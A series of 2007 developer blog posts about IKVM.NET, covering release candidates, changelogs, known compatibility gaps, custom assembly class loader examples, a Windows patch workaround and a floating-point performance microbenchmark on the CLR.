  • A method returning a boolean that returns an integer other than 0 or 1 behaves differently (this also applies to byte/char/short and for method parameters).
  • Synchronized blocks are not async exception safe.
  • Ghost arrays cannot be distinguished from object arrays (isinstance and casting don't differentiate and ArrayStoreException isn't thrown).
  • Class loading is more eager than on the reference VM.
  • Object instances don't get created at new, but only at the invokespecial of the constructor. This causes observable differences with classes that have a finalizer when the constructor arg evaluation throws an exception [with the JSR-133 change in finalization, this is no longer a spec issue, but since the reference VM doesn't correctly implement JSR-133 it still is an implementation difference].
  • Interface implementation methods are never really final (interface can be reimplemented by .NET subclasses).
  • JSR-133 finalization spec change is not implemented. The JSR-133 changes dictate that an object should not be finalized unless the Object constructor has run successfully.

Static Compiler (ikvmc)

  • Some subtle differences with ikvmc compiled code for public members inherited from non-public base classes (so called "access stubs"). Because the access stub lives in a derived class, when accessing a member in a base class, the derived cctor will be run whereas java (and ikvm) only runs the base cctor.
  • Try blocks around base class ctor invocation result in unverifiable code (no known compilers produce this type of code).
  • Try/catch blocks before base class ctor invocation result in unverifiable code (this actually happens with the Eclipse compiler when you pass a class literal to the base class ctor and compile with -target 1.4).
  • Only code compiled in a single assembly fully obeys the JLS binary compability rules.
  • An assembly can only contain one resource with a particular name.
  • Passing incorrect command line options to ikvmc may result in an exception rather than a proper error messages.

Class Library

Most class library code is based on OpenJDK build 13. Below is a list of divergences and IKVM specific implementation notes.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not implemented.
java.awt GNU Classpath implementation with partial System.Windows.Forms based back-end. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.security Not supported.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto IcedTea implementation. Not supported.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.security Not supported.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no back-end to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

In addition to the issues listed above, the extended charset providers are not included (the ones in charsets.jar in the JRE).

Specific API notes:

  • java.lang.Thread.stop(Throwable t) doesn't support throwing arbitrary exceptions on other threads (only java.lang.ThreadDeath).
  • java.lang.Thread.holdsLock(Object o) causes a spurious notify on the object (this is allowed by the J2SE 5.0 spec).
  • java.lang.String.intern() strings are never garbage collected.
  • Weak/soft references and reference queues are inefficient and do not fully implement the required semantics.
  • Threads started outside of Java aren't "visible" (e.g. in ThreadGroup.enumerate()) until they first call Thread.currentThread().
  • java.lang.Thread.getState() returns WAITING or TIMED_WAITING instead of BLOCKING when we're inside Object.wait() and blocking to re-acquire the monitor.
  • java.io.File.getCanonicalPath() is broken on Mono on Windows.
  • java.nio.channel.FileChannel.lock() shared locks are only supported on Windows NT derived operating systems.
  • java.lang.ref.SoftReference: Soft references are not guaranteed to be cleared before an OutOfMemoryError is thrown.
  • java.lang.SecurityManager: Deprecated methods not implemented: classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()

Supported Platforms

This release has been tested on the following CLI implementations / platforms:

CLI Implementation       Architecture      Operating System
Mono 1.2.5 x86* Windows
Mono 1.2.5 x86* Linux
.NET 1.1 x86 Windows
.NET 2.0 x86 Windows
.NET 2.0 x64 Windows
.NET 2.0 SP1 x86 Windows
.NET 2.0 SP1 x64 Windows

* Running on Mono has only been tested on x86, but Mono includes the native (platform specific) parts of IKVM, so any platform where Mono runs should in theory be able to run this IKVM release.

Partial Trust

Partial trust is not supported. The IKVM class library and runtime require Full Trust to be able to run.
 

12/10/2007 8:50:56 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, December 07, 2007

Mono Summit 2007

Last week I attended the Mono Summit 2007 in Madrid. It was a very productive three days and very much fun as well! I got to meet Zoltan, Wade, Paolo, Massi and Dick for the first time and enjoyed seeing Jb (of Cecil and monolinker fame), Rodrigo (of Boo fame) and Miguel again.

Jb created a small repro of the monolinker bug that caused it too fail on IKVM.OpenJDK.ClassLibrary.dll, so hopefully that'll be fixed soon. I also talked to him about using Cecil in ikvmc to free me from the shackles of Reflection.Emit. This is a major chunk of work, but I think it will be worth it.

Zoltan found some weirdness in my usage of DynamicMethod (the DynamicMethod signature for the constructor reflection helper had an extra unused argument, the CLR didn't mind because it matched up with the unused this reference, but Mono didn't like it). Unfortunately, fixing this didn't resolve the problems I had with DynamicMethod on Mono 1.2.5 and 1.2.6, so fast reflection will remain disabled while running on Mono for the time being (on Zoltan's current code base it did work, so when the Mono release after 1.2.6 is out I'll be able to enable it).

Rodrigo did a very interesting and entertaining presentation on Boo. I must admit that I haven't seriously played with Boo yet, but it looks extremely interesting. It is a statically typed language that also supports more dynamic typing (like Erik Meijer's "Static Typing Where Possible, Dynamic Typing When Needed"). It also supports some very cool meta programming capabilities. I definitely need to check this out and I recommend you do too.

Paolo and I had a tentative discussion about adding Java bytecode support to the Mono JIT, so that the expensive IKVM just-in-time bytecode to IL conversion can be skipped when running Java code in dynamic mode on Mono. This would be really nice to have, but there aren't any specific plans yet, so don't hold your breath yet.

Finally, I tried to convice Jim Purbrick (of SecondLife, who was there because he wants to use Mono to speed up LSL and possibly support other languages) that he really should support Java as well ;-)

12/7/2007 7:42:20 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, December 04, 2007

IKVM 0.36 Release Candidate 6

This time I really expect this to be the final 0.36 release candidate :-)

The list of changes is relative to the 0.36 rc5, only the DynamicMethod constructor fix is new relative to the 0.37 development snapshot.

Changes:

  • Implemented Custom Assembly Class Loaders.
  • Fixed URL.equals() for "ikvmres:" urls.
  • Fixed findResources() bug that caused resources in core assembly to show up twice if a .NET assembly explicitly referenced the core assembly.
  • Added check to prevent defineClass() on an assembly class loader from defining a class that already exists in the assembly.
  • Fixed Class.getModifiers() to mask out ACC_SUPER bit.
  • Fixed a bug in the DynamicMethod based reflection implementation that caused a NullPointerException when generating the setter for a final instance field for code that isn't compiled with -strictfinalfieldsemantics.
  • Fix to make sure that a ghost interface method call always goes thru the target reference wrapping path. (Calling java.lang.CharSequence methods through an interface that extends java.lang.CharSequence would generate incorrect code.)
  • Fixed ghost interface array casting to generate verifiable code.
  • Fixed FileChannelImpl to close the FileDescriptor after releasing the file locks.
  • Fixed DynamicMethod based constructor reflection invocation to have method match the delegate signature.

Binaries available here:ikvmbin-0.36.0.5.zip.

Sources (+ binaries):ikvm-0.36.0.5.zip

External sources (haven't changed since rc1):classpath-0.95-stripped.zip,openjdk-b13-stripped.zip

12/4/2007 8:55:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, November 19, 2007

Splitting the Class Library Assembly

In a comment to the previous post Peter asks:

Do you plan to split the classpath assembly into multiple smaller assemblies at some point? The OpenJDK-based one is getting *huge* and when you only use a small subset of JDK (as I think most people who don't use IKVM as an alternative to JRE, but use it so that they can embed Java code in .NET app, do), it's pretty high overhead...

Cyprien Noel posted a feature request:

Would it be possible to split the dll with the jvm classes in 2 or more
parts ? E.g. a basic dll with java.lang, util, math, io, net, text, and
another dll with the other features. Thanks

Others have asked similar things. I'm very sympathetic to this request, because the bloat of the Java API has annoyed me ever since JDK 1.2.

Unfortunately this is a very hard problem without upstream support. Since Sun has never had any incentive to reduce dependencies inside the class library (because up until now it has always shipped as a single file), there is a pretty tight coupling between many packages in the Java class library. For example, just the static dependencies of java.lang.Object amount to 1893 classes in the IKVM 0.36 release codebase. Note that these are just the static dependencies and this set of classes won't even allow you to run "Hello World". However, adding a few more classes (to a total of 2676) gives a, what appears to be, workable subset and yields an assembly of approx. 5.5MB.

That looks like a great start, doesn't it? However, the problem is that it isn't at all clear what this assembly supports. For example, it supports the http protocol, but not the https protocol. Simply adding the https protocol handler drags in an additional 1895 classes!

Suppose I put the https support in a separate assembly and when you test your application you only test with http URLs so everything works with just the core assembly and you decide to ship only the core assembly. Now a user of your code tries an https URL and it doesn't work. This may seem like an obvious thing, but there are probably other scenarios that aren't as obvious.

The key point here is that I have no idea of most of the inner workings of the class library, so it would be difficult (or extremely time consuming) for me to figure out the best way to split the classes and to give any guidance as to when you'd need to ship what assembly.

Why I'm Probably Still Going To Do It

There is another argument for splitting the class library assembly: Performance. For example, depending on the scenario, having several smaller assemblies that are demand loaded may be more efficient than a single huge assembly. Especially because the assemblies are strong named and the CLR verifies the assembly hash when it loads the assembly (if the assembly isn't in the GAC).

When?

As is usually the answer: I don't know. It'll be done when it's done. In the meantime you can always download the sources and build your own subset class library assembly :-)

11/19/2007 8:51:30 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Thursday, November 15, 2007

0.36 Release Plan

Ben asked about the 0.36 release yesterday. Here's the situation: There will be at least one more 0.36 release candidate that includes the new custom assembly class loader support and the fixes I've done since rc5. I'm currently waiting for some test results from the sponsor of the 0.36 release, to make sure that everything that needs to be fixed is fixed before release.

11/15/2007 8:12:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Tuesday, November 13, 2007

Development Snapshot Update

Three more fixes and a complete set of binaries this time.

Changes:

  • Fix to make sure that a ghost interface method call always goes thru the target reference wrapping path. (Calling java.lang.CharSequence methods through an interface that extends java.lang.CharSequence would generate incorrect code.)
  • Fixed ghost interface array casting to generate verifiable code.
  • Fixed FileChannelImpl to close the FileDescriptor after releasing the file locks.

Binaries available here: ikvmbin-0.37.2873.zip.

Update: Fixed the link.

11/13/2007 8:19:28 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, November 02, 2007

Development Snapshot Update

Two fixes. This time I'm only releasing an updated version of IKVM.Runtime.dll as that is all that changed.

Changes:

  • AppDomainAssemblyClassLoader now skips AssemblyBuilders. Previous version would cause problems if any dynamically generated assemblies were present in the AppDomain.
  • Fixed a bug in the DynamicMethod based reflection implementation that caused a NullPointerException when generating the setter for a final instance field for code that isn't compiled with -strictfinalfieldsemantics.

Update available here: ikvmbin-upd-0.37.2862.zip.

11/2/2007 8:02:15 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, October 26, 2007

Writing a Custom Assembly Class Loader

A new development snapshot. It's now possible to write your own custom assembly class loader. This is the recommended pattern:

class MyCustomClassLoader extends ClassLoader
{
  MyCustomClassLoader(cli.System.Reflection.Assembly asm)
  {
    super(new ikvm.runtime.AssemblyClassLoader(asm));
  }

  protected Class findClass(String name)
  {
    // TODO: forward call to other class loader or load class and call defineClass()
  }

  protected URL findResource(String name)
  {
    // TODO: forward call to other class loader or find resource somewhere
  }

  protected Enumeration findResources(String name)
  {
    // TODO: forward call to other class loader or find resources somewhere
  } 
}

If you delegate to other class loaders, you should be careful to avoid loops in the delegation path. If you want to change the resource loading delegation order, you can override getResource[s]() instead of findResource[s]() relatively safely, but if you want to change the delegation order for classes you need to be more careful, because you cannot replace any classes that are defined in the assembly.

Of course, you can also reuse existing class loader classes. Here's an example with URLClassLoader:

class MyCustomClassLoader extends java.net.URLClassLoader
{
  MyCustomClassLoader(cli.System.Reflection.Assembly asm)
  {
    super(new java.net.URL[0], new ikvm.runtime.AssemblyClassLoader(asm));
    // see below why calling addURL() is safer than passing it to the super constructor
    addURL(new java.net.URL("..."));
  }
}

Note that custom assembly class loader classes and their single argument Assembly constructor must be accessible from the assembly that they are applied to.

Delegation Magic

The ikvm.runtime.AssemblyClassLoader instance that is passed in as the parent class loader is a bit funny. It supports loading classes and resources from the assembly, but it effectively does this by magically delegating back to the custom class loader (without actually calling it, otherwise you'd get infinite recursion.) This means that classes from the assembly can be loaded via the parent class loader, but they report the custom class loader instance as their class loader.

Construction Magic

The custom assembly class loader is constructed when someone calls getClassLoader() on a class defined in that assembly for the first time, but what should getClassLoader() return while the custom class loader is being constructed? For consistencies sake, I've decided to apply some magic here and to make it return the object that is currently being constructed. This implies that you should call the base class constructor ASAP, because as long as you haven't done this the ClassLoader instance is in an unitialized state. After calling the base class constructor you can do additional work to configure your custom class loader, but you should take into account that while you are setting up your instance data, if you do anything that causes a class or resource to be loaded via your class loader, that your methods may run while initialization has not yet been completed. Note that this can only happen for the initiating thread. All other threads that call getClassLoader() will be blocked while the constructor is runnning. If the constructor throws an exception, the initiating call to getClassLoader() will see the exception, but all other calls will return the partially initialized class loader object.

Too Much Magic?

I certainly hope not, but I have to admit this is a scary feature. I recommend only writing your own custom assembly class loader if you really understand Java class loaders and there is no alternative.

Finally, please do send me feedback on this feature (even if it's a simple "I like it" or "It sucks"). I plan on backporting this to the 0.36 release, so it's important to get this right.

Changes:

  • More changes to keep up the pretense that an AssemblyClassLoader has already loaded all classes in the assembly.
  • Made AssemblyClassLoader public and moved it to ikvm.runtime package.
  • Allow non-public custom assembly class loaders (if they are defined in the same assembly).
  • Fixed ClassLoader.getSystemClassLoader() to return the custom assembly class loader for the main executable, if one is defined, even if the java.class.path or java.ext.dirs system property is set.
  • Restructured AssemblyClassLoader.GetProtectionDomain() to avoid calling any code while holding the lock.

Binaries available here: ikvmbin-0.37.2855.zip.

10/26/2007 11:25:23 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, October 22, 2007

New Development Snapshot

I've made a bunch of changes to support custom assembly class loaders. This should finally solve some of the issues caused by the new class loader architecture. Eventually it will be possible to write your own assembly class loader (hence the name custom assembly class loaders), but currently only the two provided ones are supported: ikvm.runtime.AppDomainAssemblyClassLoader and ikvm.runtime.ClassPathAssemblyClassLoader.

AppDomainAssemblyClassLoader

This approximates the pre-0.32 behavior by searching all currently loaded assemblies (after looking in the assembly itself and the assemblies it references).

ClassPathAssemblyClassLoader

This class loader supports dynamically loading classes and resources from the CLASSPATH (or java.class.path system property). It too first searches the assembly itself and any assemblies it references. This class loader makes the most sense as a replacement for the assembly class loader of the main executable, that way it will also be the system class loader. Note that if multiple assemblies use this class loader, they each will have a separate class loader instance that loads different classes (even though they may be based on the same class files).

How to Use

There is a new ikvmc option to specify a custom assembly class loader:

ikvmc -classloader:ikvm.runtime.AppDomainAssemblyClassLoader example.jar

For non-Java code you can apply a custom attribute to your code:

using System;

[assembly: IKVM.Attributes.CustomAssemblyClassLoader(typeof(ikvm.runtime.ClassPathAssemblyClassLoader))]

class SimpleJavaRunner
{
  public static void Main(string[] args)
  {
    string[] newArgs = new string[args.Length - 1];
    Array.Copy(args, 1, newArgs, 0, newArgs.Length);
    java.lang.Class.forName(args[0])
      .getMethod("main", typeof(string[]))
      .invoke(null, new object[] { newArgs });
  }
}

You can also specify them in the app.config file, this overrides the above methods:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="ikvm-classloader:MyExampleAssembly" value="ikvm.runtime.AppDomainAssemblyClassLoader, IKVM.OpenJDK.ClassLibrary, Version=0.37.0.0, Culture=neutral, PublicKeyToken=null" />
  </appSettings>
</configuration>

Here the key is ikvm-classloader: followed by the simple name of the assembly. The value must be the assembly qualified type name of the custom assembly class loader type.

As always, feedback is appreciated.

Changes:

  • Implemented Custom Assembly Class Loaders.
  • Fixed URL.equals() for "ikvmres:" urls.
  • Fixed findResources() bug that caused resources in core assembly to show up twice if a .NET assembly explicitly referenced the core assembly.
  • Added check to prevent defineClass() on an assembly class loader from defining a class that already exists in the assembly.
  • Fixed Class.getModifiers() to mask out ACC_SUPER bit.

Binaries available here: ikvmbin-0.37.2851.zip.

10/22/2007 3:22:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, October 15, 2007

Mono Summit 2007

I'll be at the Mono Summit 2007.

10/15/2007 11:59:24 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, October 12, 2007

IKVM 0.36 rc5

Yet another release candidate and possibly not even the last one (more on that next week).

Changes:

  • Fixed reflection regression introduced in rc4.
  • Added workaround for .NET 3.5 beta breaking change.
  • Added support for another binary compatibility issue (public classes nested in non-public classes).
  • Added workaround for another .NET 2.0 x64 JIT bug.

Binaries available here: ikvmbin-0.36.0.4.zip.

Sources (+ binaries): ikvm-0.36.0.4.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

10/12/2007 6:28:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, October 01, 2007

IKVM 0.36 rc4

External forces inspired me (read: I was paid) to make another release candidate.

Reflection on .NET is very slow compared with Java and because IKVM reflection was built on top of .NET reflection, it too was very slow. I rewrote the lower levels of reflection to take advantage of DynamicMethod when running .NET 2.0. This allows the slow .NET reflection to be bypassed and optimized accessor methods to be generated dynamically. I also rewrote the part of serialization that uses reflection to get and set the field values to generate custom dynamic methods for the serialization process. Serialization is now up to 20x faster.

Unfortunately I had to disable the use of DynamicMethod when running on Mono, because testing revealed that Mono 1.2.5's implementation of DynamicMethod is still too buggy.

A remaining caveat wrt reflection performance is that you need to call setAccessible(true) to get the best performance when running on IKVM, because stack walking (which is needed to do the required access checks when you access a non-public member) is still very slow compared with Java.

Changes:

  • Improved serialization and reflection performance when running on .NET 2.0.

Binaries available here: ikvmbin-0.36.0.3.zip.

Sources (+ binaries): ikvm-0.36.0.3.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

10/1/2007 3:31:54 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, September 20, 2007

IKVM 0.36 rc3

This is probably the last release candiate before the official 0.36 release.

Changes:

  • Fixed non-blocking nio socket send of zero bytes to not return -1.
  • Fixed nio Selector.wakeup() race condition.
  • Added checks for code that uses reflection to call ClassLoader.defineClass() on the assembly class loader for ikvmc compiled classes to throw IllegalAccessError when the class tries to extend a non-public base class (instead of dying with a Critical Failure).
  • Fixed bug in the handling of Java annotations applied in .NET code (via the corresponding ikvmc generated attributes).
  • Significantly improved performance of Class.getModifiers().

Binaries available here: ikvmbin-0.36.0.2.zip.

Sources (+ binaries): ikvm-0.36.0.2.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

9/20/2007 3:55:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, September 17, 2007

Two Useful Tools for IKVM.NET

IKVMDoc

Brian Heineman wrote a doclet to convert Javadoc into .NET XML documentation that can be consumed by .NET tools like Visual Studio. This makes the type and member documentation available in the Visual Studio IntelliSense popups. Very nice! There's still room for improvement, especially in the area of converting broken html tags into well formed xml tags. The code is available cvs. I've used it to generate an xml documentation file for IKVM.OpenJDK.ClassLibrary.dll and that can be downloaded here.

In future IKVM releases I plan to include an ikvmc compiled version of IKVMDoc.

jar2ikvmc

Gena Donchyts wrote a handy tool that analyzes a bunch of jars and generates a script to ikvmc compile these jars in the right order and with the required (static) dependencies. The tool and documentation are available here.

Thanks

Thanks to Brian and Gena for providing these great tools!

9/17/2007 8:18:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 13, 2007

IKVM 0.36 rc2

Release candidate 2.

Changes:

  • Fixed annotation handling to use Enum.valueOf() instead of reflection, to prevent IllegalAccessException when accessing non-public enum.
  • Bootstrap packages are no longer sealed.
  • Packages for ikvmc compiled code are no longer sealed automatically (only when they are sealed in the manifest).
  • Implemented support for enabling/disabling assertions in ikvm.exe.
  • Fixed ikvmstub exception when the resulting jar is empty.
  • Added support for creating proxies for non-public interfaces in ikvmc compiled assemblies.
  • Made method annotation resolution lazy, to deal with annotations that annotate themselves.
  • Fixed bug in finalize method handling that could cause compiler error if base class explicitly called finalize method in derived class.
  • Improved JLS binary compatibility support.
  • Fixed implicit conversion from System.Type to java.lang.Class to return null instead of throwing a NullReferenceException for unrepresentable types.

Binaries available here: ikvmbin-0.36.0.1.zip.

Sources (+ binaries): ikvm-0.36.0.1.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

9/13/2007 11:53:26 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, September 03, 2007

IKVM 0.36 rc1

Release candidate 1 of the first OpenJDK based release.

Compared with the last snapshot I made one small change, I implemented the new 1.6 JNI method.

Binaries available here: ikvmbin-0.36.0.0.zip.

Sources: ikvm-0.36.0.0.zip, classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

If you want to build from source, you need the classpath and openjdk zips as well. The classpath-0.95-stripped.zip file contains the required AWT/Swing sources (from a patched version of GNU Classpath 0.95). The openjdk-b13-stripped.zip contains the required sources and the required generated sources (from running an OpenJDK build on Linux). These two zips need to be unzipped in the same directory as where you unzip ikvm-0.36.0.0.zip. I've tested the build on Windows with .NET 1.1, .NET 2.0 and Mono 1.2.3 and on Linux with Mono 1.2.5.

9/3/2007 9:54:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 29, 2007

New Snapshot

One more snapshot before release candidate 1 with a couple of fixes:

  • Windows x64 specific binaries are now included (in the ikvm\bin-x64 directory).
  • Enabled workaround for x64 tail call optimization.
  • Implemented clearing of SoftReferences. They're still not guaranteed to be cleared before an OutOfMemoryError, but the new behavior is hopefully more reasonable than never clearing them.
  • Fixed code generator bug that could cause AbstractMethodError to be thrown when subclassing a .NET type that has an explicit interface method implementation.
  • Integrated IcedTea updates to support PBEwithMD5andDES.

Binaries available here: ikvmbin-openjdk-0.35.2796.zip.

8/29/2007 8:26:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 28, 2007

MS07-045 bug

We interrupt our regularly scheduled programming for some Microsoft idiocy. If you have a classic ASP website that instantiates .NET classes via COM interop that suddenly stopped working after installing MS07-045 and you're now getting the dreaded 0x8000FFFF Catastrophic failure aka E_UNEXPECTED, you can fix that by allowing Everyone Read access to HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones or by running MS07-045-patch (.NET 2.0 required) to make the registry permission changes for you (you need admin rights to make the changes or run the executable).

8/28/2007 11:38:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, August 24, 2007

First OpenJDK Snapshot

Several things conspired to make me realise that it would be a good idea to make an official release based on OpenJDK. While it is technically still a hybrid with GNU Classpath (it uses the AWT / Swing implementation from GNU Classpath 0.95), I don't consider this a big problem due to the fact that AWT support in OpenJDK itself still has holes in it as well (due to the "encumbrances") and the fact that IKVM never officially supported AWT / Swing (and still doesn't). This snapshot has been well tested and the disclaimers no longer apply. Please download it, play with it and report any issues you find (either here in the comments, on the mailing list or to me directly). I will hopefully release the first 0.36 release candidate at the end of next week.

In the past I was never able to give a list of the areas of GNU Classpath that worked or not, because I simply was't familiar enough with the large code base to know which parts were of good quality / compatibility and which weren't. With OpenJDK I can at least say where IKVM diverges from the OpenJDK code. So I've made a list of packages / classes that are not fully implemented or not supported.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not supported.
java.awt GNU Classpath implementation. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.lang.ref.SoftReference Soft references are never cleared.
java.lang.SecurityManager Deprecated methods not implemented:
classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.security Not supported.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto IcedTea implementation. Not supported.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.security Not supported.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no backend to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

In addition to the issues listed above, the extended charset providers are not included (the ones in charsets.jar in the JRE) and enabling assertions is not implemented.

This snapshot is still based on OpenJDK B13, because the closer to 1.6 the better in my opinion. After the 0.36 release, I will start tracking the OpenJDK development version more closely, but I plan on supporting 0.36 for a relatively long time (even after 0.38 and subsequent IKVM releases).

I've updated the Japi results. The scores are obviously very high now, but there are still some differences. Some differences are due to OpenJDK B13 already containing some new 1.7 APIs, some differences are in the AWT / Swing GNU Classpath code and some are Japi bugs (e.g. the java.util.concurrent differences).

Changes:

  • Renamed IKVM.Hybrid.GNU.Classpath.OpenJDK.dll to IKVM.OpenJDK.ClassLibrary.dll and made OpenJDK build the default.
  • Fixed thread creation to use AccessController.doPrivileged() to get ikvm.apartmentstate system property.
  • Fixed AccessController.getStackAccessControlContext() to use "native" method as marker on the stack for privileged operation (because the native method stub may get inlined away).
  • Added default security policy file to VFS.
  • Integrated OpenJDK java.beans package. Included OpenJDK sun.io package. Included OpenJDK sunw packages (for JDK 1.0 compatibility).
  • Don't create TypeWrapper instances for HideFromJava types.
  • Added rmi skeleton classes.
  • Integrated OpenJDK java.nio package.
  • Changed ikvmres protocol handler to be compatible with both GNU Classpath and OpenJDK url parse exception throwing convention.
  • Switched GNU Classpath AWT/Swing back to version 0.95.
  • Copied GNU Classpath version of java.text.Bidi into openjdk directory.
  • Copied and integrated GNU Classpath's pure Java zip support with OpenJDK zip classes.
  • Added GNU Classpath 0.95 compatible versions of awt\font.cs and awt\toolkit.cs.
  • Refactored system properties initialization.
  • Changed ikvm.exe class library version printing to report both GNU Classpath and OpenJDK versions.
  • Added HideFromJava to AnnotationAttribute type member that can potentially use HideFromJava types.
  • Implemented Thread.dumpThreads() and Thread.getThreads().
  • Added a couple more fake native libraries to VFS.
  • Implemented Thread.WaitUntilLastJniThread() (used by JNI method DestroyJavaVM() to wait for all non-daemon threads to end).
  • Implemented Inet4Address.isReachable().
  • Implemented path canonicalization.
  • Create java.lang.ProcessImpl streams via FileDescriptor instead of going through FileChannelImpl.
  • Added support for StructLayoutAttribute annotations.
  • New FileChannelImpl implementation based on OpenJDK.
  • Added map.xml workaround for java.net.DatagramSocket.receive() bug.
  • Implemented DatagramSocketImpl.peek() and peekData().
  • Don't add KeepAlive to constructors of objects that don't have finalizers and extend cli.System.Object.
  • Implemented sun.net.dns.ResolverConfigurationImpl "native" methods.
  • Added map.xml workaround for OpenJDK java.beans.XMLDecoder bug.
  • Fixed sun.nio.ch.DotNetSelectorImpl to make "infinite" blocking select block for Integer.MAX_VALUE instead of returning right away.
  • Fixed sun.nio.ch.Net.writeImpl() to return IOStatus.UNAVAILABLE if the socket is in non-blocking mode and the write failed because of this.
  • Added workaround for .NET 1.1 Directory.Delete() bug.
  • Updated all Java versions to 1.6.

Binaries available here: ikvmbin-openjdk-0.35.2791.zip.

8/24/2007 9:42:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 09, 2007

New Hybrid Snapshot

I did some stabilization work on the previous snapshot and I finally caved in and made floating point handling more compliant (still not fully compliant with the JVM spec, as that would be way too slow).

Changes:

  • Added support for generating access stubs in public interfaces that extend non-public interfaces.
  • Added workarounds for several OpenJDK class initialization order issues.
  • Fixed build process to include the rmi stubs and ties.
  • Renamed sun.misc.Unsafe instance field to theUnsafe, to facilitate sun.corba.Bridge which accesses the field thru reflection.
  • Changed AtomicBoolean.value field from boolean to int to be serialization compatible with JDK.
  • Fixed ArrayTypeWrapper.Finish().
  • Fixed java.lang.reflect.Array.set() to only unbox primitives when the array is a primitive array.
  • Fixed java.lang.reflect.Array.multiNewArray() to finish the array type before using it.
  • Implemented improved floating point compliance (strictfp is now honored and value set conversion is implemented).

Binaries available here: ikvmbin-hybrid-0.35.2777.zip.

8/9/2007 10:16:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 07, 2007

Floating Point "Redundant" Cast Performance on the CLR

Let's start out with a simple micro benchmark:

using System;
using System.Threading;
class Program
{
public static void Main()
{

int start = Environment.TickCount;
double[] d = new double[1000];
for (int i = 0; i < 1000000; i++)
{
for (int j = 0; j < d.Length; j++)
{
d[j] = (double)(3.0 * d[j]);
}
}
int end = Environment.TickCount;
Console.WriteLine(end - start);
}
}

On my system this takes about 7 seconds when run in optimized mode (i.e. not in the debugger).

Here's the optimized x86 code generated by the 2.0 CLR JIT for the body of the inner loop:

fld   qword ptr [ecx+edx*8+8]      ; d[j]
fmul  dword ptr ds:[007B1230h]     ; * 3.0 
fstp  qword ptr [esp]              ; (double) 
fld   qword ptr [esp]              ; (double) 
fstp  qword ptr [ecx+edx*8+8]      ; d[j] = 

There first thing that jumps out is that the double cast takes two x87 instructions, a store and a load. Part of the reason the cast is expensive is because the value has to leave the FPU and go to main memory and back into the FPU. In this particular case it turns out to be very expensive, because esp happens to be not 8 byte aligned.

Making a seemingly unrelated change can make the micro benchmark much faster, just adding the following two lines at the top of the Main method will make the loop run in about 2.3 seconds on my system:

    double dv = 0.0;
Interlocked.CompareExchange(ref dv, dv, dv);

The reason for this performance improvement becomes clear when we look at the method prologue in the new situation:

push  ebp 
mov   ebp,esp 
and   esp,0FFFFFFF8h 
push  edi 
push  esi 
push  ebx 
sub   esp,14h

This results in an 8 byte aligned esp pointer. As a result the fstp/fld instructions will run much faster. It looks like a "bug" in the JIT that it doesn't align the stack in the first scenario.

